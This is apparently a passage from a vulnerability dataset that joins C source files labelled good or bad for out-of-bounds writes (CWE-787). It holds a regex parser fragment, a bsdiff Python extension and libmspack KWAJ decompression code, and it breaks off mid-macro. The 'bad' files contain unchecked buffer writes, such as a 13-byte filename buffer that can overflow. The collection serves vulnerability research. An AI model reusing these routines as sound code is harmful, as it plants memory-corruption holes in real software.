NCCLASS_SET_NOT(cc); } break; default: return ONIGERR_PARSER_BUG; break; } } break; case TK_CHAR_PROPERTY: r = parse_char_property(np, tok, src, end, env); if (r != 0) return r; break; case TK_CC_OPEN: { CClassNode* cc; r = parse_char_class(np, tok, src, end, env); if (r != 0) return r; cc = NCCLASS(*np); if (IS_IGNORECASE(env->option)) { IApplyCaseFoldArg iarg; iarg.env = env; iarg.cc = cc; iarg.alt_root = NULL_NODE; iarg.ptail = &(iarg.alt_root); r = ONIGENC_APPLY_ALL_CASE_FOLD(env->enc, env->case_fold_flag, i_apply_case_fold, &iarg); if (r != 0) { onig_node_free(iarg.alt_root); return r; } if (IS_NOT_NULL(iarg.alt_root)) { Node* work = onig_node_new_alt(*np, iarg.alt_root); if (IS_NULL(work)) { onig_node_free(iarg.alt_root); return ONIGERR_MEMORY; } *np = work; } } } break; case TK_ANYCHAR: *np = node_new_anychar(); CHECK_NULL_RETURN_MEMERR(*np); break; case TK_ANYCHAR_ANYTIME: *np = node_new_anychar(); CHECK_NULL_RETURN_MEMERR(*np); qn = node_new_quantifier(0, REPEAT_INFINITE, 0); CHECK_NULL_RETURN_MEMERR(qn); NQTFR(qn)->target = *np; *np = qn; break; case TK_BACKREF: len = tok->u.backref.num; *np = node_new_backref(len, (len > 1 ? tok->u.backref.refs : &(tok->u.backref.ref1)), tok->u.backref.by_name, #ifdef USE_BACKREF_WITH_LEVEL tok->u.backref.exist_level, tok->u.backref.level, #endif env); CHECK_NULL_RETURN_MEMERR(*np); break; #ifdef USE_SUBEXP_CALL case TK_CALL: { int gnum = tok->u.call.gnum; if (gnum < 0) { gnum = BACKREF_REL_TO_ABS(gnum, env); if (gnum <= 0) return ONIGERR_INVALID_BACKREF; } *np = node_new_call(tok->u.call.name, tok->u.call.name_end, gnum); CHECK_NULL_RETURN_MEMERR(*np); env->num_call++; } break; #endif case TK_ANCHOR: *np = onig_node_new_anchor(tok->u.anchor); break; case TK_OP_REPEAT: case TK_INTERVAL: if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_CONTEXT_INDEP_REPEAT_OPS)) { if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_CONTEXT_INVALID_REPEAT_OPS)) return ONIGERR_TARGET_OF_REPEAT_OPERATOR_NOT_SPECIFIED; else *np = node_new_empty(); } else { goto tk_byte; } break; default: return ONIGERR_PARSER_BUG; break; } { targetp = np; re_entry: r = fetch_token(tok, src, end, env); if (r < 0) return r; repeat: if (r == TK_OP_REPEAT || r == TK_INTERVAL) { if (is_invalid_quantifier_target(*targetp)) return ONIGERR_TARGET_OF_REPEAT_OPERATOR_INVALID; qn = node_new_quantifier(tok->u.repeat.lower, tok->u.repeat.upper, (r == TK_INTERVAL ? 1 : 0)); CHECK_NULL_RETURN_MEMERR(qn); NQTFR(qn)->greedy = tok->u.repeat.greedy; r = set_quantifier(qn, *targetp, group, env); if (r < 0) { onig_node_free(qn); return r; } if (tok->u.repeat.possessive != 0) { Node* en; en = node_new_enclose(ENCLOSE_STOP_BACKTRACK); if (IS_NULL(en)) { onig_node_free(qn); return ONIGERR_MEMORY; } NENCLOSE(en)->target = qn; qn = en; } if (r == 0) { *targetp = qn; } else if (r == 1) { onig_node_free(qn); } else if (r == 2) { /* split case: /abc+/ */ Node *tmp; *targetp = node_new_list(*targetp, NULL); if (IS_NULL(*targetp)) { onig_node_free(qn); return ONIGERR_MEMORY; } tmp = NCDR(*targetp) = node_new_list(qn, NULL); if (IS_NULL(tmp)) { onig_node_free(qn); return ONIGERR_MEMORY; } targetp = &(NCAR(tmp)); } goto re_entry; } } return r; } static int parse_branch(Node** top, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env) { int r; Node *node, **headp; *top = NULL; r = parse_exp(&node, tok, term, src, end, env); if (r < 0) { onig_node_free(node); return r; } if (r == TK_EOT || r == term || r == TK_ALT) { *top = node; } else { *top = node_new_list(node, NULL); headp = &(NCDR(*top)); while (r != TK_EOT && r != term && r != TK_ALT) { r = parse_exp(&node, tok, term, src, end, env); if (r < 0) { onig_node_free(node); return r; } if (NTYPE(node) == NT_LIST) { *headp = node; while (IS_NOT_NULL(NCDR(node))) node = NCDR(node); headp = &(NCDR(node)); } else { *headp = node_new_list(node, NULL); headp = &(NCDR(*headp)); } } } return r; } /* term_tok: TK_EOT or TK_SUBEXP_CLOSE */ static int parse_subexp(Node** top, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env) { int r; Node *node, **headp; *top = NULL; env->parse_depth++; if (env->parse_depth > ParseDepthLimit) return ONIGERR_PARSE_DEPTH_LIMIT_OVER; r = parse_branch(&node, tok, term, src, end, env); if (r < 0) { onig_node_free(node); return r; } if (r == term) { *top = node; } else if (r == TK_ALT) { *top = onig_node_new_alt(node, NULL); headp = &(NCDR(*top)); while (r == TK_ALT) { r = fetch_token(tok, src, end, env); if (r < 0) return r; r = parse_branch(&node, tok, term, src, end, env); if (r < 0) { onig_node_free(node); return r; } *headp = onig_node_new_alt(node, NULL); headp = &(NCDR(*headp)); } if (tok->type != (enum TokenSyms )term) goto err; } else { onig_node_free(node); err: if (term == TK_SUBEXP_CLOSE) return ONIGERR_END_PATTERN_WITH_UNMATCHED_PARENTHESIS; else return ONIGERR_PARSER_BUG; } env->parse_depth--; return r; } static int parse_regexp(Node** top, UChar** src, UChar* end, ScanEnv* env) { int r; OnigToken tok; r = fetch_token(&tok, src, end, env); if (r < 0) return r; r = parse_subexp(top, &tok, TK_EOT, src, end, env); if (r < 0) return r; return 0; } extern int onig_parse_make_tree(Node** root, const UChar* pattern, const UChar* end, regex_t* reg, ScanEnv* env) { int r; UChar* p; #ifdef USE_NAMED_GROUP names_clear(reg); #endif scan_env_clear(env); env->option = reg->options; env->case_fold_flag = reg->case_fold_flag; env->enc = reg->enc; env->syntax = reg->syntax; env->pattern = (UChar* )pattern; env->pattern_end = (UChar* )end; env->reg = reg; *root = NULL; if (! ONIGENC_IS_VALID_MBC_STRING(env->enc, pattern, end)) return ONIGERR_INVALID_WIDE_CHAR_VALUE; p = (UChar* )pattern; r = parse_regexp(root, &p, (UChar* )end, env); reg->num_mem = env->num_mem; return r; } extern void onig_scan_env_set_error_string(ScanEnv* env, int ecode ARG_UNUSED, UChar* arg, UChar* arg_end) { env->error = arg; env->error_end = arg_end; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_3377_0
crossvul-cpp_data_bad_4234_0
/* The code below is mostly derived from cx_bsdiff (written by Anthony Tuininga, http://cx-bsdiff.sourceforge.net/). The cx_bsdiff code in turn was derived from bsdiff, the standalone utility produced for BSD which can be found at http://www.daemonology.net/bsdiff. */ #define PY_SSIZE_T_CLEAN #include <Python.h> #if PY_MAJOR_VERSION >= 3 #define IS_PY3K #endif #define MIN(x, y) (((x) < (y)) ? (x) : (y)) static void split(off_t *I, off_t *V, off_t start, off_t len, off_t h) { off_t i, j, k, x, tmp, jj, kk; if (len < 16) { for (k = start; k < start + len; k += j) { j = 1; x = V[I[k] + h]; for (i = 1; k + i < start + len; i++) { if (V[I[k + i] + h] < x) { x = V[I[k + i] + h]; j = 0; } if (V[I[k + i] + h] == x) { tmp = I[k + j]; I[k + j] = I[k + i]; I[k + i] = tmp; j++; } } for (i = 0; i < j; i++) V[I[k + i]] = k + j - 1; if (j == 1) I[k] = -1; } } else { jj = 0; kk = 0; x = V[I[start + len / 2] + h]; for (i = start; i < start + len; i++) { if (V[I[i] + h] < x) jj++; if (V[I[i] + h] == x) kk++; } jj += start; kk += jj; j = 0; k = 0; i = start; while (i < jj) { if (V[I[i] + h] < x) { i++; } else if (V[I[i] + h] == x) { tmp = I[i]; I[i] = I[jj + j]; I[jj + j] = tmp; j++; } else { tmp = I[i]; I[i] = I[kk + k]; I[kk + k] = tmp; k++; } } while (jj + j < kk) { if (V[I[jj + j] + h] == x) { j++; } else { tmp = I[jj + j]; I[jj + j] = I[kk + k]; I[kk + k] = tmp; k++; } } if (jj > start) split(I, V, start, jj - start, h); for (i = 0; i < kk - jj; i++) V[I[jj + i]] = kk - 1; if (jj == kk - 1) I[jj] = -1; if (start + len > kk) split(I, V, kk, start + len - kk, h); } } static void qsufsort(off_t *I, off_t *V, unsigned char *old, off_t oldsize) { off_t buckets[256], i, h, len; for (i = 0; i < 256; i++) buckets[i] = 0; for (i = 0; i < oldsize; i++) buckets[old[i]]++; for (i = 1; i < 256; i++) buckets[i] += buckets[i - 1]; for (i = 255; i > 0; i--) buckets[i] = buckets[i - 1]; buckets[0] = 0; for (i = 0; i < oldsize; i++) I[++buckets[old[i]]] = i; I[0] = oldsize; for (i = 0; i < oldsize; i++) V[i] = buckets[old[i]]; V[oldsize] = 0; for (i = 1; i < 256; i++) if (buckets[i] == buckets[i - 1] + 1) I[buckets[i]] = -1; I[0] = -1; for (h = 1; I[0] != -(oldsize + 1); h += h) { len = 0; for (i = 0; i < oldsize + 1;) { if (I[i] < 0) { len -= I[i]; i -= I[i]; } else { if (len) I[i - len] = -len; len = V[I[i]] + 1 - i; split(I, V, i, len, h); i += len; len=0; } } if (len) I[i - len] = -len; } for (i = 0; i < oldsize + 1; i++) I[V[i]] = i; } static off_t matchlen(unsigned char *old, off_t oldsize, unsigned char *new, off_t newsize) { off_t i; for (i = 0; (i < oldsize) && (i < newsize); i++) if (old[i] != new[i]) break; return i; } static off_t search(off_t *I, unsigned char *old, off_t oldsize, unsigned char *new, off_t newsize, off_t st, off_t en, off_t *pos) { off_t x, y; if (en - st < 2) { x = matchlen(old + I[st], oldsize - I[st], new, newsize); y = matchlen(old + I[en], oldsize - I[en], new, newsize); if (x > y) { *pos = I[st]; return x; } else { *pos = I[en]; return y; } } x = st + (en - st) / 2; if (memcmp(old + I[x], new, MIN(oldsize - I[x], newsize)) < 0) { return search(I, old, oldsize, new, newsize, x, en, pos); } else { return search(I, old, oldsize, new, newsize, st, x, pos); } } /* performs a diff between the two data streams and returns a tuple containing the control, diff and extra blocks that bsdiff produces */ static PyObject* diff(PyObject* self, PyObject* args) { off_t lastscan, lastpos, lastoffset, oldscore, scsc, overlap, Ss, lens; off_t *I, *V, dblen, eblen, scan, pos, len, s, Sf, lenf, Sb, lenb, i; PyObject *controlTuples, *tuple, *results, *temp; Py_ssize_t origDataLength, newDataLength; char *origData, *newData; unsigned char *db, *eb; if (!PyArg_ParseTuple(args, "s#s#", &origData, &origDataLength, &newData, &newDataLength)) return NULL; /* create the control tuple */ controlTuples = PyList_New(0); if (!controlTuples) return NULL; /* perform sort on original data */ I = PyMem_Malloc((origDataLength + 1) * sizeof(off_t)); if (!I) { Py_DECREF(controlTuples); return PyErr_NoMemory(); } V = PyMem_Malloc((origDataLength + 1) * sizeof(off_t)); if (!V) { Py_DECREF(controlTuples); PyMem_Free(I); return PyErr_NoMemory(); } Py_BEGIN_ALLOW_THREADS /* release GIL */ qsufsort(I, V, (unsigned char *) origData, origDataLength); Py_END_ALLOW_THREADS PyMem_Free(V); /* allocate memory for the diff and extra blocks */ db = PyMem_Malloc(newDataLength + 1); if (!db) { Py_DECREF(controlTuples); PyMem_Free(I); return PyErr_NoMemory(); } eb = PyMem_Malloc(newDataLength + 1); if (!eb) { Py_DECREF(controlTuples); PyMem_Free(I); PyMem_Free(db); return PyErr_NoMemory(); } dblen = 0; eblen = 0; /* perform the diff */ len = 0; scan = 0; lastscan = 0; lastpos = 0; lastoffset = 0; pos = 0; while (scan < newDataLength) { oldscore = 0; Py_BEGIN_ALLOW_THREADS /* release GIL */ for (scsc = scan += len; scan < newDataLength; scan++) { len = search(I, (unsigned char *) origData, origDataLength, (unsigned char *) newData + scan, newDataLength - scan, 0, origDataLength, &pos); for (; scsc < scan + len; scsc++) if ((scsc + lastoffset < origDataLength) && (origData[scsc + lastoffset] == newData[scsc])) oldscore++; if (((len == oldscore) && (len != 0)) || (len > oldscore + 8)) break; if ((scan + lastoffset < origDataLength) && (origData[scan + lastoffset] == newData[scan])) oldscore--; } Py_END_ALLOW_THREADS if ((len != oldscore) || (scan == newDataLength)) { s = 0; Sf = 0; lenf = 0; for (i = 0; (lastscan + i < scan) && (lastpos + i < origDataLength);) { if (origData[lastpos + i] == newData[lastscan + i]) s++; i++; if (s * 2 - i > Sf * 2 - lenf) { Sf = s; lenf = i; } } lenb = 0; if (scan < newDataLength) { s = 0; Sb = 0; for (i = 1; (scan >= lastscan + i) && (pos >= i); i++) { if (origData[pos - i] == newData[scan - i]) s++; if (s * 2 - i > Sb * 2 - lenb) { Sb = s; lenb = i; } } } if (lastscan + lenf > scan - lenb) { overlap = (lastscan + lenf) - (scan - lenb); s = 0; Ss = 0; lens = 0; for (i = 0; i < overlap; i++) { if (newData[lastscan + lenf - overlap + i] == origData[lastpos + lenf - overlap + i]) s++; if (newData[scan - lenb + i]== origData[pos - lenb + i]) s--; if (s > Ss) { Ss = s; lens = i + 1; } } lenf += lens - overlap; lenb -= lens; } for (i = 0; i < lenf; i++) db[dblen + i] = newData[lastscan + i] - origData[lastpos + i]; for (i = 0; i < (scan - lenb) - (lastscan + lenf); i++) eb[eblen + i] = newData[lastscan + lenf + i]; dblen += lenf; eblen += (scan - lenb) - (lastscan + lenf); tuple = PyTuple_New(3); if (!tuple) { Py_DECREF(controlTuples); PyMem_Free(I); PyMem_Free(db); PyMem_Free(eb); return NULL; } PyTuple_SET_ITEM(tuple, 0, PyLong_FromLong(lenf)); PyTuple_SET_ITEM(tuple, 1, PyLong_FromLong((scan - lenb) - (lastscan + lenf))); PyTuple_SET_ITEM(tuple, 2, PyLong_FromLong((pos - lenb) - (lastpos + lenf))); if (PyList_Append(controlTuples, tuple) < 0) { Py_DECREF(controlTuples); Py_DECREF(tuple); PyMem_Free(I); PyMem_Free(db); PyMem_Free(eb); return NULL; } Py_DECREF(tuple); lastscan = scan - lenb; lastpos = pos - lenb; lastoffset = pos - scan; } } PyMem_Free(I); results = PyTuple_New(3); if (!results) { PyMem_Free(db); PyMem_Free(eb); return NULL; } PyTuple_SET_ITEM(results, 0, controlTuples); temp = PyBytes_FromStringAndSize((char *) db, dblen); PyMem_Free(db); if (!temp) { PyMem_Free(eb); Py_DECREF(results); return NULL; } PyTuple_SET_ITEM(results, 1, temp); temp = PyBytes_FromStringAndSize((char *) eb, eblen); PyMem_Free(eb); if (!temp) { Py_DECREF(results); return NULL; } PyTuple_SET_ITEM(results, 2, temp); return results; } /* takes the original data and the control, diff and extra blocks produced by bsdiff and returns the new data */ static PyObject* patch(PyObject* self, PyObject* args) { char *origData, *newData, *diffBlock, *extraBlock, *diffPtr, *extraPtr; Py_ssize_t origDataLength, newDataLength, diffBlockLength, extraBlockLength; PyObject *controlTuples, *tuple, *results; off_t oldpos, newpos, x, y, z; int i, j, numTuples; if (!PyArg_ParseTuple(args, "s#nO!s#s#", &origData, &origDataLength, &newDataLength, &PyList_Type, &controlTuples, &diffBlock, &diffBlockLength, &extraBlock, &extraBlockLength)) return NULL; /* allocate the memory for the new data */ newData = PyMem_Malloc(newDataLength + 1); if (!newData) return PyErr_NoMemory(); oldpos = 0; newpos = 0; diffPtr = diffBlock; extraPtr = extraBlock; numTuples = PyList_GET_SIZE(controlTuples); for (i = 0; i < numTuples; i++) { tuple = PyList_GET_ITEM(controlTuples, i); if (!PyTuple_Check(tuple)) { PyMem_Free(newData); PyErr_SetString(PyExc_TypeError, "expecting tuple"); return NULL; } if (PyTuple_GET_SIZE(tuple) != 3) { PyMem_Free(newData); PyErr_SetString(PyExc_TypeError, "expecting tuple of size 3"); return NULL; } x = PyLong_AsLong(PyTuple_GET_ITEM(tuple, 0)); y = PyLong_AsLong(PyTuple_GET_ITEM(tuple, 1)); z = PyLong_AsLong(PyTuple_GET_ITEM(tuple, 2)); if (newpos + x > newDataLength || diffPtr + x > diffBlock + diffBlockLength || extraPtr + y > extraBlock + extraBlockLength) { PyMem_Free(newData); PyErr_SetString(PyExc_ValueError, "corrupt patch (overflow)"); return NULL; } memcpy(newData + newpos, diffPtr, x); diffPtr += x; for (j = 0; j < x; j++) if ((oldpos + j >= 0) && (oldpos + j < origDataLength)) newData[newpos + j] += origData[oldpos + j]; newpos += x; oldpos += x; memcpy(newData + newpos, extraPtr, y); extraPtr += y; newpos += y; oldpos += z; } /* confirm that a valid patch was applied */ if (newpos != newDataLength || diffPtr != diffBlock + diffBlockLength || extraPtr != extraBlock + extraBlockLength) { PyMem_Free(newData); PyErr_SetString(PyExc_ValueError, "corrupt patch (underflow)"); return NULL; } results = PyBytes_FromStringAndSize(newData, newDataLength); PyMem_Free(newData); return results; } /* encode an integer value as 8 bytes */ static PyObject *encode_int64(PyObject *self, PyObject *value) { long long x; char bs[8], sign = 0x00; int i; if (!PyArg_Parse(value, "L", &x)) return NULL; if (x < 0) { x = -x; sign = 0x80; } for (i = 0; i < 8; i++) { bs[i] = x & 0xff; x >>= 8; /* x /= 256 */ } bs[7] |= sign; return PyBytes_FromStringAndSize(bs, 8); } /* decode an off_t value from 8 bytes */ static PyObject *decode_int64(PyObject *self, PyObject *string) { long long x; char *bs; int i; if (!PyBytes_Check(string)) { PyErr_SetString(PyExc_TypeError, "bytes expected"); return NULL; } if (PyBytes_Size(string) != 8) { PyErr_SetString(PyExc_ValueError, "8 bytes expected"); return NULL; } bs = PyBytes_AsString(string); x = bs[7] & 0x7F; for (i = 6; i >= 0; i--) { x <<= 8; /* x = x * 256 + (unsigned char) bs[i]; */ x |= (unsigned char) bs[i]; } if (bs[7] & 0x80) x = -x; return PyLong_FromLongLong(x); } /* declaration of methods supported by this module */ static PyMethodDef module_functions[] = { {"diff", diff, METH_VARARGS}, {"patch", patch, METH_VARARGS}, {"encode_int64", encode_int64, METH_O}, {"decode_int64", decode_int64, METH_O}, {NULL, NULL, 0, NULL} /* Sentinel */ }; /* initialization routine for the shared libary */ #ifdef IS_PY3K static PyModuleDef moduledef = { PyModuleDef_HEAD_INIT, "core", 0, -1, module_functions, }; PyMODINIT_FUNC PyInit_core(void) { PyObject *m; m = PyModule_Create(&moduledef); if (m == NULL) return NULL; return m; } #else PyMODINIT_FUNC initcore(void) { Py_InitModule("core", module_functions); } #endif
./CrossVul/dataset_final_sorted/CWE-787/c/bad_4234_0
crossvul-cpp_data_bad_277_2
/* This file is part of libmspack. * (C) 2003-2011 Stuart Caie. * * KWAJ is a format very similar to SZDD. KWAJ method 3 (LZH) was * written by Jeff Johnson. * * libmspack is free software; you can redistribute it and/or modify it under * the terms of the GNU Lesser General Public License (LGPL) version 2.1 * * For further details, see the file COPYING.LIB distributed with libmspack */ /* KWAJ decompression implementation */ #include <system.h> #include <kwaj.h> #include <mszip.h> /* prototypes */ static struct mskwajd_header *kwajd_open( struct mskwaj_decompressor *base, const char *filename); static void kwajd_close( struct mskwaj_decompressor *base, struct mskwajd_header *hdr); static int kwajd_read_headers( struct mspack_system *sys, struct mspack_file *fh, struct mskwajd_header *hdr); static int kwajd_extract( struct mskwaj_decompressor *base, struct mskwajd_header *hdr, const char *filename); static int kwajd_decompress( struct mskwaj_decompressor *base, const char *input, const char *output); static int kwajd_error( struct mskwaj_decompressor *base); static struct kwajd_stream *lzh_init( struct mspack_system *sys, struct mspack_file *in, struct mspack_file *out); static int lzh_decompress( struct kwajd_stream *kwaj); static void lzh_free( struct kwajd_stream *kwaj); static int lzh_read_lens( struct kwajd_stream *kwaj, unsigned int type, unsigned int numsyms, unsigned char *lens); static int lzh_read_input( struct kwajd_stream *kwaj); /*************************************** * MSPACK_CREATE_KWAJ_DECOMPRESSOR *************************************** * constructor */ struct mskwaj_decompressor * mspack_create_kwaj_decompressor(struct mspack_system *sys) { struct mskwaj_decompressor_p *self = NULL; if (!sys) sys = mspack_default_system; if (!mspack_valid_system(sys)) return NULL; if ((self = (struct mskwaj_decompressor_p *) sys->alloc(sys, sizeof(struct mskwaj_decompressor_p)))) { self->base.open = &kwajd_open; self->base.close = &kwajd_close; self->base.extract = &kwajd_extract; self->base.decompress = &kwajd_decompress; self->base.last_error = &kwajd_error; self->system = sys; self->error = MSPACK_ERR_OK; } return (struct mskwaj_decompressor *) self; } /*************************************** * MSPACK_DESTROY_KWAJ_DECOMPRESSOR *************************************** * destructor */ void mspack_destroy_kwaj_decompressor(struct mskwaj_decompressor *base) { struct mskwaj_decompressor_p *self = (struct mskwaj_decompressor_p *) base; if (self) { struct mspack_system *sys = self->system; sys->free(self); } } /*************************************** * KWAJD_OPEN *************************************** * opens a KWAJ file without decompressing, reads header */ static struct mskwajd_header *kwajd_open(struct mskwaj_decompressor *base, const char *filename) { struct mskwaj_decompressor_p *self = (struct mskwaj_decompressor_p *) base; struct mskwajd_header *hdr; struct mspack_system *sys; struct mspack_file *fh; if (!self) return NULL; sys = self->system; fh = sys->open(sys, filename, MSPACK_SYS_OPEN_READ); hdr = (struct mskwajd_header *) sys->alloc(sys, sizeof(struct mskwajd_header_p)); if (fh && hdr) { ((struct mskwajd_header_p *) hdr)->fh = fh; self->error = kwajd_read_headers(sys, fh, hdr); } else { if (!fh) self->error = MSPACK_ERR_OPEN; if (!hdr) self->error = MSPACK_ERR_NOMEMORY; } if (self->error) { if (fh) sys->close(fh); if (hdr) sys->free(hdr); hdr = NULL; } return hdr; } /*************************************** * KWAJD_CLOSE *************************************** * closes a KWAJ file */ static void kwajd_close(struct mskwaj_decompressor *base, struct mskwajd_header *hdr) { struct mskwaj_decompressor_p *self = (struct mskwaj_decompressor_p *) base; struct mskwajd_header_p *hdr_p = (struct mskwajd_header_p *) hdr; if (!self || !self->system) return; /* close the file handle associated */ self->system->close(hdr_p->fh); /* free the memory associated */ self->system->free(hdr); self->error = MSPACK_ERR_OK; } /*************************************** * KWAJD_READ_HEADERS *************************************** * reads the headers of a KWAJ format file */ static int kwajd_read_headers(struct mspack_system *sys, struct mspack_file *fh, struct mskwajd_header *hdr) { unsigned char buf[16]; int i; /* read in the header */ if (sys->read(fh, &buf[0], kwajh_SIZEOF) != kwajh_SIZEOF) { return MSPACK_ERR_READ; } /* check for "KWAJ" signature */ if (((unsigned int) EndGetI32(&buf[kwajh_Signature1]) != 0x4A41574B) || ((unsigned int) EndGetI32(&buf[kwajh_Signature2]) != 0xD127F088)) { return MSPACK_ERR_SIGNATURE; } /* basic header fields */ hdr->comp_type = EndGetI16(&buf[kwajh_CompMethod]); hdr->data_offset = EndGetI16(&buf[kwajh_DataOffset]); hdr->headers = EndGetI16(&buf[kwajh_Flags]); hdr->length = 0; hdr->filename = NULL; hdr->extra = NULL; hdr->extra_length = 0; /* optional headers */ /* 4 bytes: length of unpacked file */ if (hdr->headers & MSKWAJ_HDR_HASLENGTH) { if (sys->read(fh, &buf[0], 4) != 4) return MSPACK_ERR_READ; hdr->length = EndGetI32(&buf[0]); } /* 2 bytes: unknown purpose */ if (hdr->headers & MSKWAJ_HDR_HASUNKNOWN1) { if (sys->read(fh, &buf[0], 2) != 2) return MSPACK_ERR_READ; } /* 2 bytes: length of section, then [length] bytes: unknown purpose */ if (hdr->headers & MSKWAJ_HDR_HASUNKNOWN2) { if (sys->read(fh, &buf[0], 2) != 2) return MSPACK_ERR_READ; i = EndGetI16(&buf[0]); if (sys->seek(fh, (off_t)i, MSPACK_SYS_SEEK_CUR)) return MSPACK_ERR_SEEK; } /* filename and extension */ if (hdr->headers & (MSKWAJ_HDR_HASFILENAME | MSKWAJ_HDR_HASFILEEXT)) { off_t pos = sys->tell(fh); char *fn = (char *) sys->alloc(sys, (size_t) 13); /* allocate memory for maximum length filename */ if (! fn) return MSPACK_ERR_NOMEMORY; hdr->filename = fn; /* copy filename if present */ if (hdr->headers & MSKWAJ_HDR_HASFILENAME) { if (sys->read(fh, &buf[0], 9) != 9) return MSPACK_ERR_READ; for (i = 0; i < 9; i++, fn++) if (!(*fn = buf[i])) break; pos += (i < 9) ? i+1 : 9; if (sys->seek(fh, pos, MSPACK_SYS_SEEK_START)) return MSPACK_ERR_SEEK; } /* copy extension if present */ if (hdr->headers & MSKWAJ_HDR_HASFILEEXT) { *fn++ = '.'; if (sys->read(fh, &buf[0], 4) != 4) return MSPACK_ERR_READ; for (i = 0; i < 4; i++, fn++) if (!(*fn = buf[i])) break; pos += (i < 4) ? i+1 : 4; if (sys->seek(fh, pos, MSPACK_SYS_SEEK_START)) return MSPACK_ERR_SEEK; } *fn = '\0'; } /* 2 bytes: extra text length then [length] bytes of extra text data */ if (hdr->headers & MSKWAJ_HDR_HASEXTRATEXT) { if (sys->read(fh, &buf[0], 2) != 2) return MSPACK_ERR_READ; i = EndGetI16(&buf[0]); hdr->extra = (char *) sys->alloc(sys, (size_t)i+1); if (! hdr->extra) return MSPACK_ERR_NOMEMORY; if (sys->read(fh, hdr->extra, i) != i) return MSPACK_ERR_READ; hdr->extra[i] = '\0'; hdr->extra_length = i; } return MSPACK_ERR_OK; } /*************************************** * KWAJD_EXTRACT *************************************** * decompresses a KWAJ file */ static int kwajd_extract(struct mskwaj_decompressor *base, struct mskwajd_header *hdr, const char *filename) { struct mskwaj_decompressor_p *self = (struct mskwaj_decompressor_p *) base; struct mspack_system *sys; struct mspack_file *fh, *outfh; if (!self) return MSPACK_ERR_ARGS; if (!hdr) return self->error = MSPACK_ERR_ARGS; sys = self->system; fh = ((struct mskwajd_header_p *) hdr)->fh; /* seek to the compressed data */ if (sys->seek(fh, hdr->data_offset, MSPACK_SYS_SEEK_START)) { return self->error = MSPACK_ERR_SEEK; } /* open file for output */ if (!(outfh = sys->open(sys, filename, MSPACK_SYS_OPEN_WRITE))) { return self->error = MSPACK_ERR_OPEN; } self->error = MSPACK_ERR_OK; /* decompress based on format */ if (hdr->comp_type == MSKWAJ_COMP_NONE || hdr->comp_type == MSKWAJ_COMP_XOR) { /* NONE is a straight copy. XOR is a copy xored with 0xFF */ unsigned char *buf = (unsigned char *) sys->alloc(sys, (size_t) KWAJ_INPUT_SIZE); if (buf) { int read, i; while ((read = sys->read(fh, buf, KWAJ_INPUT_SIZE)) > 0) { if (hdr->comp_type == MSKWAJ_COMP_XOR) { for (i = 0; i < read; i++) buf[i] ^= 0xFF; } if (sys->write(outfh, buf, read) != read) { self->error = MSPACK_ERR_WRITE; break; } } if (read < 0) self->error = MSPACK_ERR_READ; sys->free(buf); } else { self->error = MSPACK_ERR_NOMEMORY; } } else if (hdr->comp_type == MSKWAJ_COMP_SZDD) { self->error = lzss_decompress(sys, fh, outfh, KWAJ_INPUT_SIZE, LZSS_MODE_EXPAND); } else if (hdr->comp_type == MSKWAJ_COMP_LZH) { struct kwajd_stream *lzh = lzh_init(sys, fh, outfh); self->error = (lzh) ? lzh_decompress(lzh) : MSPACK_ERR_NOMEMORY; lzh_free(lzh); } else if (hdr->comp_type == MSKWAJ_COMP_MSZIP) { struct mszipd_stream *zip = mszipd_init(sys,fh,outfh,KWAJ_INPUT_SIZE,0); self->error = (zip) ? mszipd_decompress_kwaj(zip) : MSPACK_ERR_NOMEMORY; mszipd_free(zip); } else { self->error = MSPACK_ERR_DATAFORMAT; } /* close output file */ sys->close(outfh); return self->error; } /*************************************** * KWAJD_DECOMPRESS *************************************** * unpacks directly from input to output */ static int kwajd_decompress(struct mskwaj_decompressor *base, const char *input, const char *output) { struct mskwaj_decompressor_p *self = (struct mskwaj_decompressor_p *) base; struct mskwajd_header *hdr; int error; if (!self) return MSPACK_ERR_ARGS; if (!(hdr = kwajd_open(base, input))) return self->error; error = kwajd_extract(base, hdr, output); kwajd_close(base, hdr); return self->error = error; } /*************************************** * KWAJD_ERROR *************************************** * returns the last error that occurred */ static int kwajd_error(struct mskwaj_decompressor *base) { struct mskwaj_decompressor_p *self = (struct mskwaj_decompressor_p *) base; return (self) ? self->error : MSPACK_ERR_ARGS; } /*************************************** * LZH_INIT, LZH_DECOMPRESS, LZH_FREE *************************************** * unpacks KWAJ method 3 files */ /* import bit-reading macros and code */ #define BITS_TYPE struct kwajd_stream #define BITS_VAR lzh #define BITS_ORDER_MSB #define BITS_NO_READ_INPUT #define READ_BYTES do { \ if (i_ptr >= i_end) { \ if ((err = lzh_read_input(lzh))) return err; \ i_ptr = lzh->i_ptr; \ i_end = lzh->i_end; \ } \ INJECT_BITS(*i_ptr++, 8); \ } while (0) #include <readbits.h> /* import huffman-reading macros and code */ #define TABLEBITS(tbl) KWAJ_TABLEBITS #define MAXSYMBOLS(tbl) KWAJ_##tbl##_SYMS #define HUFF_TABLE(tbl,idx) lzh->tbl##_table[idx] #define HUFF_LEN(tbl,idx) lzh->tbl##_len[idx] #define HUFF_ERROR return MSPACK_ERR_DATAFORMAT #include <readhuff.h> /* In the KWAJ LZH format, there is no special 'eof' marker, it just * ends. Depending on how many bits are left in the final byte when * the stream ends, that might be enough to start another literal or * match. The only easy way to detect that we've come to an end is to * guard all bit-reading. We allow fake bits to be read once we reach * the end of the stream, but we check if we then consumed any of * those fake bits, after doing the READ_BITS / READ_HUFFSYM. This * isn't how the default readbits.h read_input() works (it simply lets * 2 fake bytes in then stops), so we implement our own. */ #define READ_BITS_SAFE(val, n) do { \ READ_BITS(val, n); \ if (lzh->input_end && bits_left < lzh->input_end) \ return MSPACK_ERR_OK; \ } while (0) #define READ_HUFFSYM_SAFE(tbl, val) do { \ READ_HUFFSYM(tbl, val); \ if (lzh->input_end && bits_left < lzh->input_end) \ return MSPACK_ERR_OK; \ } while (0) #define BUILD_TREE(tbl, type) \ STORE_BITS; \ err = lzh_read_lens(lzh, type, MAXSYMBOLS(tbl), &HUFF_LEN(tbl,0)); \ if (err) return err; \ RESTORE_BITS; \ if (make_decode_table(MAXSYMBOLS(tbl), TABLEBITS(tbl), \ &HUFF_LEN(tbl,0), &HUFF_TABLE(tbl,0))) \ return MSPACK_ERR_DATAFORMAT; #define WRITE_BYTE do { \ if (lzh->sys->write(lzh->output, &lzh->window[pos], 1) != 1) \ return 